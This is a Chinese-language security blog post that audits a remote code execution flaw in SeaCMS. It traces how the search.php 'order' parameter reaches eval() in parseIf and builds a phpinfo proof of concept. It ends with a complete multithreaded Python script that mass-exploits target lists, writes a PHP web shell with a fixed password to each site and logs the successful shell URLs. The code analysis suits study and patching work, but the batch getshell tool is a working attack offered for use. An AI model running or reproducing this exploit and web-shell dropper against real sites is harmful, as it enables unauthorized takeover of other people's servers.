前言

昨晚审计到了三点,今天还要整理宿舍就没有写文章。这个CMS没有用框架,漏洞的执行过程我看了很久才看完,下面就写漏洞执行过程和POC构造还有用Python编写批量Getshell脚本。

环境

Web: phpstudy System: Windows 10 X64 Browser: Firefox Quantum Python version : 2.7

漏洞代码执行过程分析

先看一下这个代码是一个怎么执行的吧,我画了一个流程图,有点简陋,不过如果真的要深入了解一定要亲自去看一遍代码才行。

漏洞详情

漏洞代码执行

Payload代码

http://seacms.test/search.php POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

执行结果

分析过程

  • 漏洞的触发点是在search.php 中的echoSearchPage()函数可以触发漏洞。常规的分析都是先找GETPOST的位置,在这个文件里面没有这些变量,原来是在./include/common.php里面。
if(PHP_VERSION < '4.1.0') {
	$_GET = &$HTTP_GET_VARS;
	$_POST = &$HTTP_POST_VARS;
	$_COOKIE = &$HTTP_COOKIE_VARS;
	$_SERVER = &$HTTP_SERVER_VARS;
	$_ENV = &$HTTP_ENV_VARS;
	$_FILES = &$HTTP_POST_FILES;
}
......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

所以Payload用GET还是POST都是可以的。

  • 由于代码太多就例举主要的代码段分析,继续回到search.php里面的echoSearchPage()函数。 第一句是把这些变量设置为全局变量,方便下面来传值。 第二句是判断$order是否为空,如果为空就把time赋值给$order。
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
	$order = !empty($order)?$order:time;
  • 这段是Payload的里面一个重要的参数$searchtype的代码,一定要赋值5,可以到看到等于5的时候就有$order变量,所以我们要传$order进去就赋值5,至于为什么要赋值给$order,先跟着代码执行下去自然就会明白了。 这里还有一个点,就是第四行的$pSize这里是选择模版文件,就是为了接下来使用str_replace函数对这个模版文件的内容进行替换。 替换内容的文件在\data\cache里面,下面是文件的位置。
if(intval($searchtype)==5)
	{
		$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
		$typeStr = !empty($tid)?intval($tid).'_':'0_';
		$yearStr = !empty($year)?PinYin($year).'_':'0_';
		$letterStr = !empty($letter)?$letter.'_':'0_';
		$areaStr = !empty($area)?PinYin($area).'_':'0_';
		$orderStr = !empty($order)?$order.'_':'0_';
		$jqStr = !empty($jq)?$jq.'_':'0_';
		$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
		$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
	}else
	{
		if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
		$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
		$cacheName="parse_search_";
		$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
	}
。。。。。。。中间有很多代码就不一一分析中间的了。
	$content = str_replace("{searchpage:page}",$page,$content);
	    $content = str_replace("{seacms:searchword}",$searchword,$content);
	$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
	    $content = str_replace("{searchpage:ordername}",$order,$content);
  • 来到这里了,离构造POC又进一步了。我们只要的是看parseIf这个函数,在此之前我们可以先用echo来输出一下$content的内容,下面是对比图:


        $content=$mainClassObj->parseIf($content);
	$content=str_replace("{seacms:member}",front_member(),$content);
	$searchPageStr = $content;
	echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
  • 下面我们继续跟进parseIf这个函数,代码我就贴执行代码漏洞的地方。代码中用到一些不懂函数可以去PHP官网或者百度Google一下。 $labelRule*这些变量都是规则,preg_match_all函数就用到了第一个规则{if:(.*?)}(.*?){end if}。 有很多新手估计要看很久才能看得懂这段正则,我在这里稍微解释一下,{if:(.?)}(.?){end if},除了加粗部分是一定要符合{if:}{end if},中间的(.*?)是用了贪婪的模式,它把匹配到的赋值到一个数组$iar里面,大家可以输入一下这个数组:
    大家发现了吗,变量$order的值也在里面,所以我们为什么要用order这个函数写入要执行的代码了。 来看这一句 if (strpos($strThen,$labelRule2)===false){判断strpos返回是否为假就执行下面的代码,我们来输出下$strThen到底有没有这个$labelRule2变量的内容。 可以看到是没有的,所以会执行下面的代码,if (strpos($strThen,$labelRule3)>=0){这个判断从上面输出就可以看到有这个内容,所以为真执行下面的代码。 下面三句代码就不用看了,因为重要的是@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");里面的$strIf变量也就是数组$iar[1]数组$iar[1]里面的内容。我们继续输出一下这个数组里面的内容。 这里可以看出eval执行的变量是$strIf,而$strIf又有$order,所以这里又再一次解释为什么要用order参数
	function parseIf($content){
		if (strpos($content,'{if:')=== false){
		return $content;
		}else{
		$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
		$labelRule2="{elseif";
		$labelRule3="{else}";
		preg_match_all($labelRule,$content,$iar);
		$arlen=count($iar[0]);
		$elseIfFlag=false;
		for($m=0;$m<$arlen;$m++){
			$strIf=$iar[1][$m];
			$strIf=$this->parseStrIf($strIf);
			$strThen=$iar[2][$m];
			$strThen=$this->parseSubIf($strThen);
			if (strpos($strThen,$labelRule2)===false){
				if (strpos($strThen,$labelRule3)>=0){
					$elsearray=explode($labelRule3,$strThen);
					$strThen1=$elsearray[0];
					$strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

构造POC

又到构造POC这一步骤了,经过上面的分析,我们可以很清晰地构造出POC了。 {if:"{searchpage:ordername}"=="time"}替换模版文件里面内容 {if:(.*?)}(.*?){end if}匹配规则 @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}")代码执行

我们传入的order要放在{searchpage:ordername}这里,所以我们要闭合前面的标签,}{end if}这句就可以闭合前面的标签, 为什么要闭合,因为程序的{if:}{end if}也是会解析成PHP的代码,如果不闭合就会出错不执行我们的代码。

过了这一关后,就到匹配规则了,只要符合{if:}{end if}就行了。我们要在{if:(.*?)}里面的(.*?)才会传入$strIf变量,继续看下面。

最后一关就是闭合if(".$strIf."),加入这一句1)phpinfo();if(1就OK了

代码执行的结果就是@eval("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}")

所以我们的POC就是}{end if} {if:1)phpinfo();if(1}{end if}

用Python编写批量Getshell脚本

用了多线程,可以指定单目标或者批量。

'''
author:F0rmat
'''

import sys
import requests
import threading
def exploit(target):
    if sys.argv[1]== "-f":
        target=target[0]
    url=target+"/search.php"
    payload = {"searchtype":5,"order":"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}","func":"assert","cmd":"fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"}
    shell = target+'/shell.php'
    try:
        r=requests.post(url,data=payload)
        verify = requests.get(shell, timeout=3)
        if "f0rmat" in verify.content:
            print 'Write success,shell url:',shell,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(shell+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python check_order.py.py -h target/-f target-file'
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
    main()

结束

审计这个洞,真的累,可能就是因为太菜了吧,哈哈。

参考

源码下载地址:https://pan.lanzou.com/i0l0leb

http://blog.csdn.net/pygain/article/details/56016227

http://php.net/docs.php

https://github.com/F0r3at/Python-Tools/tree/master/seacms

http://0day5.com/archives/4249/